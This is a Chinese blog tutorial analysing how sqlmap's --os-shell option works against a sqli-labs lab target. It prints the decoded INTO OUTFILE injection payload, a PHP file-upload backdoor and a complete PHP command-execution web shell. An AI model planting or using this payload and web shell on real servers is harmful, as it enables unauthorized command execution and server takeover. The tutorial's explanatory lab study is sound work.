sqlmap --os-shell选项原理解析
文章目录
- sqlmap --os-shell选项原理解析
- 原理解析
- 总结
sqlmap --os-shell选项原理解析
以sqli第一关为例。
--os-shell
是 SQLMap 工具的一个参数,用于在成功注入数据库后,执行操作系统命令并获取其输出。
sqlmap -u "http://192.168.188.199/sqli-labs/Less-1/?id=1" --os-shell
选择4,因为整个网站是php代码写的。
选择2,自定义位置。这里选择网站的WWW目录下
获取shell,执行命令即可。
原理解析
在执行sqlmap命令的时候,将代理设置为本地的8080端口,目的是在bp中抓取sqlmap发送的数据包进行分析。
sqlmap -u "http://192.168.188.199/sqli-labs/Less-1/?id=1" --os-shell --proxy=http://127.0.0.1:8080
在抓到第一个数据包后关闭拦截,后续sqlmap发送的数据包都会在bp的历史记录里都有数据。
执行完整个–os-shell过程,在bp的HTTP history历史记录中也抓到了全部数据包,下面对数据包进行分析。
在id后面所跟的参数是经过URL编码的,所有uTools中的工具进行解密。
解码后的语句
-9725' OR 4844=4844 LIMIT 0,1 INTO OUTFILE 'C:/phpstudy_2016/WWW/tmpuxxig.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c70687073747564795f323031365c5c5757575c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -
但是发现在LINES TERMINATED BY后面还有一段十六进制数,继续解码获取真实的数据。
发现是一段php代码,代码整理如下:
<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";
}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\phpstudy_2016\\WWW\\> <input type=submit name=upload value=upload></form>";
}
?>
根据上面的mysql语句,是利用into outfile …LINES TERMINATED BY语句写个用于上传文件的tmpuxxig.php
–os-shell的本质就是写入两个php文件,其中的tmpuxxig.php可以让我们上传文件到网站路径下,如下图。
然后sqlmap就会通过上面这个php上传一个用于命令执行的tmpbeabi.php到网站路径下,让我们命令执行,并将输出的内容返回sqlmap端。
继续查看HTTP history历史记录数据包
发现这个数据包是通过POST方法上传了一个tmpbeabi.php
文件的内容经过整理后如下:
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)) {$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);} else {$z=array();}$c=$c." 2>&1\n";function f($n) {global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")) {ob_start();system($c);$w=ob_get_clean();} elseif(f("proc_open")) {$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])) {$w.=fread($t[1],512);}@proc_close($y);} elseif(f("shell_exec")) {$w=shell_exec($c);} elseif(f("passthru")) {ob_start();passthru($c);$w=ob_get_clean();} elseif(f("popen")) {$x=popen($c,r);$w=NULL;if(is_resource($x)) {while(!feof($x)) {$w.=fread($x,512);}}@pclose($x);} elseif(f("exec")) {$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);} else {$w=0;}echo"<pre>$w</pre>";
?>
这是一个用于命令执行的代码,命令执行后会将执行的结果输出。
最后可以在C:\phpstudy_2016\WWW目录下找到生成的两个后门文件。
总结
sqlmap的–os-shell在mysql数据库中的原理,是往服务器上写入了两个php,其中一个提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。
sqlmap --os-shell 的使用需要以下条件:
-
知道网站的物理路径。
-
网站路径具有写入的权限。
相关文章:

sqlmap --os-shell选项原理解析
文章目录 sqlmap --os-shell选项原理解析原理解析总结 sqlmap --os-shell选项原理解析 以sqli第一关为例。 --os-shell 是 SQLMap 工具的一个参数,用于在成功注入数据库后,执行操作系统命令并获取其输出。 sqlmap -u "http://192.168.188.199/sq…...

谈谈 Redis 持久化机制,RDB、AOF
谈谈 Redis 持久化机制,RDB,AOF RDB:相当于对内存中的数据,拍一张数据快照。存储的是数据。 AOF:存储的是具体的命令。 企业实践中,实际是使用RDB结合AOF。 这个方法是在 Redis 4.0 提出的,该方…...

并发编程——2.基础概念及其它相关的概述
这篇文章我们来讲一下并发编程中的线程及其相关的概述内容。 目录 1.J.U.C 2.进程、线程、协程 2.1进程 2.2线程 2.3纤程(协程) 2.4概念小结 3.并发、并行、串行 3.1并发 3.2并行 3.3串行 3.4概念小结 4.CPU核心数和线程数的关系 5.上下文…...

20231019 filezilla 配置 Windows与Ubuntu文件传输
SFTP协议,传文件,否则会报无权限错...

一个.Net开发的轻量级SQLite数据库ORM
SQLite是一种流行的开源关系型数据库,它的设计目标是提供轻量级、高效、可靠和易用的数据存储服务。由于SQLite无需单独的服务器进程,它通常被用于嵌入式系统和单机应用程序中,也可以用于网络应用程序的辅助数据库。 今天给大家推荐一个.NET开…...

gRPC通信
1. gRPC简介 gRPC是一种高性能、开源和通用的远程过程调用(RPC)框架,由Google开源并维护。它使用Protocol Buffers(protobuf)作为接口定义语言(IDL),提供跨平台、跨语言的RPC调用支…...

湖仓一体架构的特性
湖仓一体架构是一种数据架构模式,具有以下特性: 统一存储:湖仓一体架构将数据湖和数据仓库合并为一个整体,将结构化数据和非结构化数据存储在同一个存储系统中,如Hadoop分布式文件系统(HDFS)或云…...

Python中使用包含_和__的变量名之间的区别
_:单下划线 例子:_count、_temp 含义:成员的私有成员变量,就像Java中用private关键字修饰一样。 作用:只允许当前类创建的对象和子类对象访问此变量。外部无法访问此变量。 __:双下划线 例子:__count、__temp 含义&am…...

019-第三代软件开发-Git提交规范
第三代软件开发-Git提交规范 文章目录 第三代软件开发-Git提交规范项目介绍Git提交规范分支规范Commit Message FormatHeaderBodyFooterRevert 总结一下 关键字: Qt、 Qml、 git、 Commit、 release 项目介绍 欢迎来到我们的 QML & C 项目!这个…...

MTK APP实现动态修改logo和开机动画
MTK APP实现动态修改logo和开机动画 前言一、修改对新分区的权限1.修改开机动画对新分区的权限2.修改系统APP对新分区的权限3.修改SE权限,不然编译会报错4.修改开机动画文件,让其加载新分区中的文件 二、系统APP代码使用1.系统app修改开机logo2.系统app修改开机动画…...

Spring核心扩展点BeanDefinitionRegistryPostProcessor源码分析
我们知道,只要在一个Java类上加上Component、Service、Controller等注解,就可以被加载到Spring容器中,除了以上方式,加了Bean和Import好像也可以将对象添加到Spring容器中,究竟Spring是如何实现这些功能的呢࿱…...

C++实现AC自动机,剪枝、双数组压缩字典树!详解双数组前缀树(Double-Array Trie)剪枝字典树(Patricia Trie)
代码在:github.com/becomequantum 最近研究了一下字典树,什么AC自动机,双数组压缩字典树,剪枝字典树都自己写代码实现了一下。这本该是本科学数据结构时该玩明白的东西,我到现在才会玩。本视频主要介绍一下双数组和剪…...

防火墙规则顺序解决方案
防火墙是保护网络免受攻击的第一道防线,防火墙对互联网和公司IT网络之间的流量拥有绝对控制权,防火墙规则的配置处理调节流量的关键任务。 这些规则会仔细检查传入和传出流量,并根据规则中提到的条件允许或阻止它,防火墙规则越严…...

ZC-CLS381RGB颜色识别+8x8点阵指示(完)
文章目录 前言一、信号关联说明二、演示视频 前言 在前面两篇博客中,分别阐述了如何配置WS2812 RGB 8x8点阵,和如何配置颜色识别模块,本文将说明如何级联两个模块,以及演示两个模块级联后的运行效果。 一、信号关联说明 已知WS28…...

Stanford CS224N - word2vec
最近在听Stanford放出来的Stanford CS224N NLP with Deep Learning这门课,弥补一下之前nlp这块基础知识的一些不清楚的地方,顺便巩固一下基础知识😁 关于word2vec: 1.为什么要把单词表示成向量 一开始人们造了一个类似于词典表…...

华为云云耀云服务器L实例评测|windows系统3389防爆破之安全加固教程
为什么要选择华为云云耀云服务器L实例: 华为云在全国范围内建立了多个数据中心,这些数据中心之间相互冗余,以确保高可靠性和可用性,用户可以选择最适合的区域来部署应用程序,以实现更好的性能和延迟。 相对于传统的物…...

零基础如何自学C#?
前言 本文来源于知乎的一个提问,提问的是一个大一软件工程专业的学生,他想要自学C#但是不知道该怎么去学,这让他感到很迷茫,希望有人能给他一些建议和提供一些学习方向。 个人建议 确认目标:自学C#首先你需要大概了解…...

Spring5学习笔记之整合MyBatis
✅作者简介:大家好,我是Leo,热爱Java后端开发者,一个想要与大家共同进步的男人😉😉 🍎个人主页:Leo的博客 💞当前专栏: Spring专栏 ✨特色专栏: M…...

GO 语言的方法??
GO 中的方法是什么? 前面我们有分享到 GO 语言的函数,他是一等公民,那么 GO 语言中的方法和函数有什么区别呢? GO 语言中的方法实际上和函数是类似的,只不过在函数的基础上多了一个参数,这个参数在 GO 语…...

【JavaEE】 多线程-初阶
多线程-初阶 1. 认识线程 1.1 概念 1) 线程是什么 多个线程组成了一个进程,线程好比是一跟光纤中的一个玻璃丝,进程是整根光纤。 一个进程中的线程共享这个进程中的资源(内存、硬盘) 2) 为什么需要线程 单核CPU发展出现瓶颈…...

小程序OCR身份证识别
使用两种OCR识别:小程序和腾讯云 1.基于微信小程序OCR插件实现身份证拍照、上传并OCR识别的示例: 首先,在小程序中添加身份证拍照的功能,可以使用wx.chooseImage()选择照片并使用wx.uploadFile()上传,代码如下&#…...

【算法学习】归并算法Merge Sort总结
归并排序思路简单,速度仅次于快速排序,为稳定排序算法,一般用于对总体无序,但是各子项相对有序的数列。 1. 基本思想 归并排序使用分治思想,分治模式下每一层递归有三个步骤: 分解(divide)&a…...

Swager如何使用
Swager是一个API文档自动生成工具,可以用于生成API接口文档,供开发者和用户查看和使用。它可以通过描述API接口的规范,自动生成API文档,使得API接口的发布和使用变得更加简单和规范。 下面是使用Swagger的步骤: 首先…...

DHorse v1.4.2 发布,基于 k8s 的发布平台
版本说明 优化特性 在集群列表增加集群版本;修改Jvm的GC指标名; 解决问题 解决shell脚本换行符的问题;解决部署历史列表页,环境名展示错误的问题;解决指标收集功能的异常; 升级指南 升级指南 DHorse…...

Java使用JJWT令牌
最近在B站大学学习Java开发,刚好学到登入验证,在使用JJWT令牌时踩了一些坑,在这里把代码和依赖给出,希望后来者得以借鉴。 依赖 <dependency><groupId>io.jsonwebtoken</groupId><artifactId>jjwt-api&l…...

“第四十四天”
这道题也不是难,但可能会忽略一种情况,当最大小出现在首位的时候,那个时候如果进行交换的话,大小值可能出现覆盖的情况,最终导致丢失最大值或者最小值,比如最大值 10 在第一位,最小值 0 随意&am…...

Unity Mono和.Net平台浮点算法的区别
static void TestFloat(){{//float speed2.0f/20;float speed 0.1f;float distance 2.0f;long needTime (long)(distance / speed);Log.Debug($"needTime{needTime}"); #if UNITY_EDITORif (needTime ! 19) #elseif (needTime ! 20)//.Net服务器和安卓手机 #endif…...

【SA8295P 源码分析 (二)】64 - QNX 与 Android GVM 显示 Dump 图片方法汇总
【SA8295P 源码分析】64 - QNX 与 Android GVM 显示 Dump 图片方法汇总 一、QNX侧1.1 surfacedump 功能1.2 screenshot 功能二、Android GVM 侧2.1 screencap -p 导出 PNG 图片2.2 screencap 不加 -p 参数,导出 RGB32 图片2.3 dumpsys SurfaceFlinger --display-id 方法系列文…...

shell命令以及运行原理和lLinux权限
shell命令以及运行原理 什么是shell shell是操作系统的外壳程序统称,我们是通过shell去和操作系统沟通的。 从技术角度,shell最简单的定义就是命令行解释器,主要包含两个功能: 将使用者的命令翻译给核心处理 将核心的处理结果…...

斯坦福JSKarel编程机器人使用介绍
斯坦福JSKarel编程机器人使用介绍 为了避免被编程语言固有的复杂性所困扰,有一个被称为卡雷尔(Karel)机器人的微型世界(microworld)的简化环境,可以让编程初学者从中学习理解编程的基本概念,而…...